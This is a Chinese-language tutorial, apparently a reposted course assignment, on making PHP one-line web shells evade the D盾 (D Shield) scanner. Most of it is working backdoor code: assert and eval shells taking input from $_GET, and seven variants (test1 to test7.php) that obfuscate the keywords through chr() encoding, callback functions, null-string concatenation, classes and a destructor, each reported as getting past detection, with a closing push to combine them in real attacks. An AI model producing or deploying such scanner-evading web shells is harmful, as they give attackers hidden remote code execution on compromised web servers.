PHP一句话木马免杀小技巧
作业内容:
//在php版本5.x 要实现下面程序免杀怎么办? 写出变形前代码和变形后代码
<?assert($_POST['x'],'x不存在');?>
//拿D盾来做检测,看是否成功绕过
1.D盾的木马检测机制
首先编写两条最基本的一句话木马。
//shell1.php
<?@assert($_GET['sherry']);?>
//shell2.php
<?@eval($_GET['sherry']);?>
可以看到可以正常执行php语句。
使用D盾去查杀,这里用的老师发的D盾,版本号是2.0.8。看看D盾的报警提示。
两个都报警了,提示assert后门和eval后门,并提示了风险变量$_GET['shell']
绕过D盾的思路,就是隐藏或者伪装assert和eval关键字及$_GET参数。
2.assert一句话木马的免杀
assert — 检查断言是否为 false。 在php5.x中,断言函数assert()是一个功能很强大的函数,assert() 会检查指定的 assertion ,如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。所以可以将assert等D盾认为是高风险的关键字通过一些函数进行隐藏,配合变量函数,绕过D盾的检测机制。
2.1 array_map()函数
array_map — 为数组的每个元素应用回调函数。 array_map() 返回一个array(数组),包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。
语法:
array_map(myfunction,array1,array2,array3...)
我们可以根据一句话木马的形式构造一个array_map()函数
assert($_GET['shell'])这个语句可以分为函数名和参数两个部分,分别用两个变量进行赋值。
$func1 = 'assert';
$array1 = array($_GET['sherry']);
然后用array_map()串起来:
array_map($func1,$func1 = $array1);
可以正常执行,但是D盾还是能检测到这几个敏感关键字。
因为assert太明显了,我们需要把它转换一下,最少明面上看不出来。
使用ASCII码转换一下:
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116);
然后构造一个自定义函数,把本体隐藏起来,这样和array_map关联的就是go()函数,和assart不会产生直接的联系。
//test1.php
<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['sherry']);
array_map($func1, $func1 = $array1);
?>
成功运行,并且通过D盾检测。
2.2 call_user_func()函数
call_user_func — 把第一个参数作为回调函数调用。 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
语法:
call_user_func(callable $callback, mixed ...$args): mixed
同样的,第一个参数'assert'作为回调函数,第二个参数是$_GET['sherry']变量。
//test2.php
<?php
function go()
{
$func1 = 'assert';
return $func1;
}
$func1 = go();
$arg1 = $_GET['sherry'];
call_user_func($func1, $func1 = $arg1);
?>
似乎D盾并没有仔细检查call_user_func()传入的参数,所以go()函数不作ASCII变换也可以通过检测。
2.3 call_user_func_array()函数
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。 把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。
语法:
call_user_func_array(callable $callback, array $args): mixed
因为一句话木马只有一个参数,所以形式和call_user_func)()是一样的,唯一不同的是参数要以数组形式输入。
//test3.php
<?php
function go()
{
return 'assert';
}
$func1 = go();
$array1 = array($_GET['sherry']);
call_user_func_array($func1, $func1 = $array1)
?>
同样D盾也没有识别。
3.eval一句话木马的免杀
在PHP7以后,assert是语言结构而不是函数。PHP8不再允许在命名空间中声明叫做 assert() 的函数,所以PHP7以上不能使用assert一句话木马,只能使用eval替代。
eval — 把字符串作为PHP代码执行。
我们知道,eval是一个语言构造器,并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。同样的,eval不能被变量函数的方式所调用。因为它允许执行任意 PHP 代码。
根据eval的特性,我们需要构造一行字符串代码作为eval()的参数。 因为D盾对eval的参数过滤是非常严格的,所以需要通过对$_GET['sherry']拆分和变形,才能绕过D盾。
3.1 Null拼接
我们通过构造Null变量进行拼接,如果D盾检测不严密的话,可能会忽略之后的有效参数。
<?php
$str1 = Null;
$arg1 = $_GET['sherry'];
eval($str1.$arg1);
?>
D盾检测到了危险变量$_GET,我们再继续往前添加一些空变量。
//test4.php
<?php
$str1 = Null;
$str2 = '';
$arg1 = $_GET['sherry'];
eval($str1.$str2.$arg1);
?>
前面空变量多了,D盾没有识别出来后面的$_GET,成功绕过。
3.2 构造函数
可以将$_GET隐藏在函数里面,同时采取拼接或者加密等方式混淆敏感字符串,从而绕过D盾。
//test5.php
<?php
function go()
{
return "\x00".$_GET['sherry']."\x00";
}
eval(go());
?>
3.3 构造类
将eval隐藏在类方法中,然后实例化,将$_GET['sherry']传进去执行。
//test6.php
<?php
class Shell
{
var $arg;
function setarg($str)
{
$this->arg = '' . $str . null;
}
function go()
{
eval("$this->arg");
}
}
$run = new Shell;
$run->setarg($_GET['sherry']);
$run->go();
?>
3.4 析构函数
析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。因为析构函数可以自动执行,所以在对象结束调用后会自动执行eval语句。
//test7.php
<?php
class Shell
{
public $arg = '';
function __destruct()
{
eval("$this->arg");
}
}
$run = new Shell;
$run->arg = $_GET['sherry'];
?>
4.小结
可以看到,上面的所有方法都可以绕过D盾。但是以上几种方法只是基本的绕过方式,实战中可能需要综合运用上面的几种方法,以及一些更巧妙的方法,才能有效突破防御。
转载自:https://juejin.cn/post/7241590154149822525